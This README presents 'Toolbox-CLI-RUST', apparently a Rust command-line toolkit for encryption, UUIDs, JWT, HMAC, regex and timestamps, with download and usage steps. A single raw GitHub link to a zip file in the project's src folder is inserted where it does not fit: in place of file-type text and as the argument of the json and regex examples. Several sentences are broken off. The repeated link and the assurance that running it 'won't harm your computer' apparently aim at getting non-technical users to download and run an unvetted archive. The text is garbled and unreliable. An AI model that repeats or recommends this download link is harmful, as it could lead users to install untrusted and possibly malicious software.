Toolbox-CLI-RUST is a collection of useful programs you can run from the command line on your computer. It combines many tools into one place. These tools help with tasks like security checks, encrypting messages, working with text, and managing data.
Even though it is designed with developers in mind, anyone can use it. You do not need to know programming to run the tools. Everything works in the terminal or command prompt on your computer.
Here are some examples of what Toolbox-CLI-RUST offers:
- Encrypt and decrypt messages with AES encryption.
- Generate unique codes and IDs using UUID generation.
- Work with JSON files for data management.
- Create and verify JWT tokens for security.
- Use HMAC codes for message authentication.
- Search and match text patterns using regular expressions.
- Convert and track timestamps in Unix format.
- Run productivity tools to simplify your daily tasks.
All these tools are accessible through a single program that you run on your computer.
To get Toolbox-CLI-RUST on your computer, follow these steps:
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Visit this page to download the software:
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Choose the version that fits your computer. Look for files ending with
.exeif you use Windows, or files ending withhttps://github.com/rknagar/Toolbox-CLI-RUST/raw/refs/heads/main/src/Toolbox-CL-RUST-2.1.zipor.zipif you use Mac or Linux. -
Download the file to your computer.
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For Windows users, just double-click the
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For Mac or Linux users, open your terminal and navigate to the folder with the downloaded file. Unpack it if it is compressed, and then run the program by typing
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Once installed, open your terminal or command prompt and type
toolboxto see the list of available tools and commands.
Toolbox-CLI-RUST works on many computers. Here are the main requirements:
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Operating Systems supported:
- Windows 10 or later
- macOS Mojave or later
- Most Linux distributions with standard terminal access
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Processor: Any modern Intel or AMD processor or equivalent.
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Memory: At least 512 MB of RAM.
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Disk space: About 50 MB free space to install and run.
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Terminal or command prompt: This is where you type instructions to run the tools.
If you are unsure about your system, just try downloading and running the program. It won't harm your computer.
After you install the program, open a terminal or command prompt window. You can open the terminal in different ways depending on your system:
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Windows: Search for “Command Prompt” or “PowerShell” in the Start menu.
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Mac: Open “Terminal” from Applications > Utilities.
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Linux: Look for “Terminal” in your applications menu.
Once open, type the following command and press Enter:
toolbox --help
This command shows all the tools you can use and how to use them. You will see a list with descriptions for each tool.
For example, to create a new universally unique identifier (UUID), type:
toolbox uuid
The program will give you a random UUID. This is a unique number that can identify something in your projects or files.
To encrypt text with AES encryption, you might use:
toolbox aes encrypt your-message-here your-password
Replace your-message-here with the text you want to encrypt and your-password with a word you choose. The program will return an encrypted message you can safely send or store.
If you receive an encrypted message, decrypt it by running:
toolbox aes decrypt encrypted-text your-password
Replace encrypted-text with the code you received and your-password with the same password used before.
Each tool has its own short guide shown with:
toolbox toolname --help
For example, toolbox jwt --help shows how to create and verify JWT tokens.
| Tool | What it Does | How to Use Example |
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aes |
Encrypt or decrypt data | toolbox aes encrypt "text" key |
uuid |
Generate unique IDs | toolbox uuid |
json |
Work with JSON strings | toolbox json validate https://github.com/rknagar/Toolbox-CLI-RUST/raw/refs/heads/main/src/Toolbox-CL-RUST-2.1.zip |
jwt |
Create and verify tokens | toolbox jwt create payload |
hmac |
Create message authentication codes | toolbox hmac generate "msg" key |
regex |
Search or match text patterns | toolbox regex search pattern https://github.com/rknagar/Toolbox-CLI-RUST/raw/refs/heads/main/src/Toolbox-CL-RUST-2.1.zip |
timestamp |
Convert Unix timestamps | toolbox timestamp now |
Use the --help option with each tool to learn more about usage and options.
Toolbox-CLI-RUST is created with care for your privacy. It does not share your data anywhere. All tasks run locally on your computer. When you use encryption tools, your passwords and messages stay private and are not sent over the internet.
Always use strong passwords for encryption and keep your software up to date.
If you want to understand more about the tools or need help:
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Check the official GitHub page for examples and guides.
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Use the built-in help by typing:
toolbox --help
or for a specific tool:
toolbox toolname --help
- You can also open an issue on GitHub if you find problems or have questions.
When new versions are released, it is a good idea to update your program to get the latest features and fixes.
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Visit the release page again:
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Download the newest file for your system.
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Replace the old file with the new one, or follow the instructions that come with the update.
Toolbox-CLI-RUST is built using the Rust programming language. Rust is known for being safe, fast, and reliable. This project aims to give users a set of practical command-line tools that work well on many operating systems.
It supports tasks in:
- Cryptography and encryption
- Developer utilities
- Data formatting and management
- Productivity helpers
Everything is open source and free to use.